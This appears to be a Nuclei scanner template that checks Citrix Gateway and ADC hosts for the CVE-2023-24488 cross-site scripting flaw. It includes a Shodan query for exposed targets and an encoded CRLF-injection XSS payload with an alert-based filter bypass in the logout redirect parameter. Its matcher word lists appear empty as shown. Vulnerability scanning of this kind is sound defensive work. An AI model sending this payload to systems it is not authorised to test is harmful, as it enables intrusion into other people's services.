id: CVE-2023-24488 info: name: Citrix Gateway and Citrix ADC - Cross-Site Scripting author: johnk3r,DhiyaneshDk severity: medium description: | Citrix ADC and Citrix Gateway versions before 13.1 and 13.1-45.61, 13.0 and 13.0-90.11, 12.1 and 12.1-65.35 contain a cross-site scripting vulnerability due to improper input validation. remediation: | Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability. reference: - https://support.citrix.com/article/CTX477714/citrix-adc-and-citrix-gateway-security-bulletin-for-cve202324487-cve202324488 - https://blog.assetnote.io/2023/06/29/citrix-xss-advisory/ - https://nvd.nist.gov/vuln/detail/CVE-2023-24488 - https://twitter.com/infosec_au/status/1674786106381070342 - https://twitter.com/bxmbn/status/1675250259608449026 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-24488 cwe-id: CWE-79 epss-score: 0.01446 epss-percentile: 0.85177 cpe: cpe:2.3:a:citrix:gateway:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: citrix product: gateway shodan-query: title:"Citrix Gateway" tags: cve,cve2023,citrix,xss,adc http: - method: GET path: - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0D%0A%0D%0A%3Cbody+x=%27&%27onload=%22(alert)(%27citrix+akamai+bypass%27)%22%3E' - '{{BaseURL}}/oauth/idp/logout?post_logout_redirect_uri=%0d%0a%0d%0a' stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - - condition: or - type: word part: body words: - "Content-Type: text/html" - type: status status: - 302 # digest: 490a00463044022007ffe9c05e5749820b2007e5f410338a607914dcf3f52e4dca934d0f3118cc3f022078371b78a7a244c487c125fff6c83a7055bb7c4bfea1bda80127317d6a2ebce3:922c64590222798bb761d5b6d8e72950